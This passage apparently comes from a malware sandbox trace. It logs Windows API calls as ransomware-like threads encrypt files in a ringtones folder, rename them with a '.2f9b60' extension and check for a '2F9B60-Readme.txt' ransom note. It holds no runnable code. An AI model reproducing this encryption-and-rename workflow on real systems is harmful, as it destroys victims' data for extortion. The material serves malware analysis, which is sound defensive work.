_Source="e682991a2097ff8" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\e682991a2097ff8") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\e682991a2097ff8" [0232.670] wcscat (in: _Dest=0x431d9bf0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\e682991a2097ff8.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\e682991a2097ff8.2f9b60" [0232.670] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\e682991a2097ff8.2f9b60", NtPathName=0x2e0afb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\e682991a2097ff8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0232.670] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f2930 [0235.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2930) returned 1 [0235.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b5d40) returned 1 [0235.580] NtQueryInformationFile (in: FileHandle=0x284c, IoStatusBlock=0x2e0afbd8, FileInformation=0x2e0afbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e0afbd8, FileInformation=0x2e0afbe8) returned 0x0 [0235.581] NtSetInformationFile (FileHandle=0x284c, IoStatusBlock=0x2e0afbd8, FileInformation=0x2e0afbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9bf0) returned 1 [0237.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d8840) returned 1 [0237.742] FlushFileBuffers (hFile=0x284c) returned 1 [0238.235] CloseHandle (hObject=0x284c) returned 1 [0242.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x43155e30 [0242.577] wcscpy (in: _Dest=0x43155e30, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0242.577] wcscat (in: _Dest=0x43155e30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" [0242.577] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\2f9b60-readme.txt")) returned 0x2020 [0242.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43155e30) returned 1 [0242.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d6f0) returned 1 Thread: id = 2692 os_tid = 0x227c [0157.723] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma")) returned 0x20 [0159.585] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma", dwFileAttributes=0x20) returned 1 [0159.623] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2844 [0159.632] GetFileSizeEx (in: hFile=0x2844, lpFileSize=0x3caffb00 | out: lpFileSize=0x3caffb00*=94457) returned 1 [0159.632] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0x170f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.632] ReadFile (in: hFile=0x2844, lpBuffer=0x3caffa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3caffac8, lpOverlapped=0x0 | out: lpBuffer=0x3caffa80*, lpNumberOfBytesRead=0x3caffac8*=0x4, lpOverlapped=0x0) returned 1 [0160.024] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a70 [0160.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b30 [0160.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bc0 [0160.025] NtQuerySystemTime (in: CurrentTime=0x3caff9c0 | out: CurrentTime=0x3caff9c0*=132462177651646000) returned 0x0 [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x114cdb93 [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x7405aa8d [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x366500d4 [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x5608a182 [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x622cdd3d [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x16b5aae4 [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x46abe43a [0160.025] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x4d77cf4a [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x1f117c37 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x60e9e6fc [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x397eb80f [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x617459d9 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x20f0268b [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x484892f0 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x3b1de304 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x3ef882d8 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x567d810c [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x3190fcff [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x2a1f6b6b [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x579a01c9 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x643892f4 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x5304d0bd [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x12a05c94 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x3f23fa66 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x2edc3ea6 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x729ae416 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x590b40f0 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x5852661 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x62c4eb98 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x6115881f [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x718cde16 [0160.026] RtlRandomEx (in: Seed=0x3caff9b0 | out: Seed=0x3caff9b0) returned 0x323e349d [0160.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0bf0 [0160.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0160.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c20 [0160.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0160.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0bc0) returned 1 [0160.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0160.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e79560 [0160.035] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.035] ReadFile (in: hFile=0x2844, lpBuffer=0x41e79560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3caffa20, lpOverlapped=0x0 | out: lpBuffer=0x41e79560*, lpNumberOfBytesRead=0x3caffa20*=0x3c00, lpOverlapped=0x0) returned 1 [0161.168] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0161.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0161.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b30 [0161.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b30) returned 1 [0161.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d35950 [0161.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b30 [0161.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3b60 [0161.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3b60) returned 1 [0161.171] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0161.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0161.173] WriteFile (hFile=0x2844, lpBuffer=0x41d35950, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3caffa20, lpOverlapped=0x0) [0198.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d35950) returned 1 [0198.311] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.311] ReadFile (in: hFile=0x2844, lpBuffer=0x41e79560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3caffa20, lpOverlapped=0x0 | out: lpBuffer=0x41e79560*, lpNumberOfBytesRead=0x3caffa20*=0x3c00, lpOverlapped=0x0) returned 1 [0198.995] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bda0 [0198.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bda0) returned 1 [0198.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20239560 [0198.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bda0 [0198.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bdd0 [0198.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bdd0) returned 1 [0198.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.998] WriteFile (in: hFile=0x2844, lpBuffer=0x20239560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3caffa20, lpOverlapped=0x0 | out: lpBuffer=0x20239560*, lpNumberOfBytesWritten=0x3caffa20*=0x3c00, lpOverlapped=0x0) returned 1 [0214.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20239560) returned 1 [0214.095] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.095] ReadFile (in: hFile=0x2844, lpBuffer=0x41e79560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3caffa20, lpOverlapped=0x0 | out: lpBuffer=0x41e79560*, lpNumberOfBytesRead=0x3caffa20*=0x3c00, lpOverlapped=0x0) returned 1 [0214.096] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0x134f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0214.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0214.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22a0 [0214.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a22a0) returned 1 [0214.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20239560 [0214.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a22a0 [0214.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2210 [0214.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2210) returned 1 [0214.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0214.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0214.099] WriteFile (in: hFile=0x2844, lpBuffer=0x20239560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3caffa20, lpOverlapped=0x0 | out: lpBuffer=0x20239560*, lpNumberOfBytesWritten=0x3caffa20*=0x3c00, lpOverlapped=0x0) returned 1 [0228.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20239560) returned 1 [0228.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431052f0 [0228.038] SetFilePointerEx (in: hFile=0x2844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0228.038] WriteFile (in: hFile=0x2844, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x3caffad0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x3caffad0*=0x150, lpOverlapped=0x0) returned 1 [0232.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0232.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0232.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3400 [0232.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3400) returned 1 [0232.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f3400 [0232.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f34c0 [0232.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3490 [0232.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3490) returned 1 [0232.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0232.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0232.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce61e70 [0232.820] sprintf (in: _Dest=0x1ce61e70, _Format="%c%c" | out: _Dest="5d") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e72, _Format="%c%c" | out: _Dest="b8") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e74, _Format="%c%c" | out: _Dest="cf") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e76, _Format="%c%c" | out: _Dest="14") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e78, _Format="%c%c" | out: _Dest="21") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e7a, _Format="%c%c" | out: _Dest="fc") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e7c, _Format="%c%c" | out: _Dest="93") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e7e, _Format="%c%c" | out: _Dest="49") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e80, _Format="%c%c" | out: _Dest="9f") returned 2 [0232.820] sprintf (in: _Dest=0x1ce61e82, _Format="%c%c" | out: _Dest="46") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e84, _Format="%c%c" | out: _Dest="29") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e86, _Format="%c%c" | out: _Dest="6c") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e88, _Format="%c%c" | out: _Dest="00") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e8a, _Format="%c%c" | out: _Dest="7a") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e8c, _Format="%c%c" | out: _Dest="62") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e8e, _Format="%c%c" | out: _Dest="75") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e90, _Format="%c%c" | out: _Dest="a5") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e92, _Format="%c%c" | out: _Dest="6f") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e94, _Format="%c%c" | out: _Dest="20") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e96, _Format="%c%c" | out: _Dest="d3") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e98, _Format="%c%c" | out: _Dest="d2") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e9a, _Format="%c%c" | out: _Dest="b1") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e9c, _Format="%c%c" | out: _Dest="37") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61e9e, _Format="%c%c" | out: _Dest="61") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61ea0, _Format="%c%c" | out: _Dest="e6") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61ea2, _Format="%c%c" | out: _Dest="50") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61ea4, _Format="%c%c" | out: _Dest="de") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61ea6, _Format="%c%c" | out: _Dest="f3") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61ea8, _Format="%c%c" | out: _Dest="a0") returned 2 [0232.821] sprintf (in: _Dest=0x1ce61eaa, _Format="%c%c" | out: _Dest="ac") returned 2 [0232.821] RtlInitAnsiString (in: DestinationString=0x3caffb48, SourceString="5db8cf1421fc93499f46296c007a6275a56f20d3d2b13761e650def3a0ac" | out: DestinationString="5db8cf1421fc93499f46296c007a6275a56f20d3d2b13761e650def3a0ac") [0232.821] RtlAnsiStringToUnicodeString (in: DestinationString=0x3caffb18, SourceString="5db8cf1421fc93499f46296c007a6275a56f20d3d2b13761e650def3a0ac", AllocateDestinationString=1 | out: DestinationString="5db8cf1421fc93499f46296c007a6275a56f20d3d2b13761e650def3a0ac") returned 0x0 [0232.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202ae770 [0232.822] wcscat (in: _Dest=0x431da190, _Source="5db8cf1421fc934" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\5db8cf1421fc934") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\5db8cf1421fc934" [0232.822] wcscat (in: _Dest=0x431da190, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\5db8cf1421fc934.2f9b60") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\5db8cf1421fc934.2f9b60" [0232.822] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\5db8cf1421fc934.2f9b60", NtPathName=0x3caffaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\5db8cf1421fc934.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0232.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f2b40 [0237.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2b40) returned 1 [0237.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b6600) returned 1 [0237.741] NtQueryInformationFile (in: FileHandle=0x2844, IoStatusBlock=0x3caffb58, FileInformation=0x3caffb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3caffb58, FileInformation=0x3caffb68) returned 0x0 [0237.742] NtSetInformationFile (FileHandle=0x2844, IoStatusBlock=0x3caffb58, FileInformation=0x3caffb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.989] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431da190) returned 1 [0237.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae770) returned 1 [0237.990] FlushFileBuffers (hFile=0x2844) returned 1 [0238.239] CloseHandle (hObject=0x2844) returned 1 [0241.658] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af100 [0241.659] wcscpy (in: _Dest=0x202af100, _Source="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\" [0241.659] wcscat (in: _Dest=0x202af100, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" [0241.660] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\2f9b60-readme.txt")) returned 0x2020 [0241.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af100) returned 1 [0241.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 Thread: id = 2693 os_tid = 0x2280 [0157.724] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma")) returned 0x20 [0159.590] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma", dwFileAttributes=0x20) returned 1 [0159.623] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2840 [0159.635] GetFileSizeEx (in: hFile=0x2840, lpFileSize=0x3cd9f900 | out: lpFileSize=0x3cd9f900*=237625) returned 1 [0159.635] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x3a035, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.635] ReadFile (in: hFile=0x2840, lpBuffer=0x3cd9f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3cd9f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3cd9f880*, lpNumberOfBytesRead=0x3cd9f8c8*=0x4, lpOverlapped=0x0) returned 1 [0160.552] SetFilePointerEx (in: hFile=0x2840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2270 [0160.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac21e0 [0160.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d40 [0160.552] NtQuerySystemTime (in: CurrentTime=0x3cd9f7c0 | out: CurrentTime=0x3cd9f7c0*=132462177656794000) returned 0x0 [0160.552] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x44433062 [0160.552] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x2111a397 [0160.552] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x24aab7c9 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x3a25e81c [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0xf78648f [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x397f7fb9 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0xe78a00f [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x42e6061 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x3e5a8dde [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x729ae416 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x5eea473d [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x555acb07 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x34be7909 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x65e437c8 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x7375980a [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x3f7c1585 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x4fd89d90 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x1c0da882 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x54015fc0 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x7ea86fa0 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x61bb4eff [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x3d36aff2 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x4fc3f7d2 [0160.553] RtlRandomEx (in: Seed=0x3cd9f7b0 | out: Seed=0x3cd9f7b0) returned 0x6fdc44bd [0160.553] 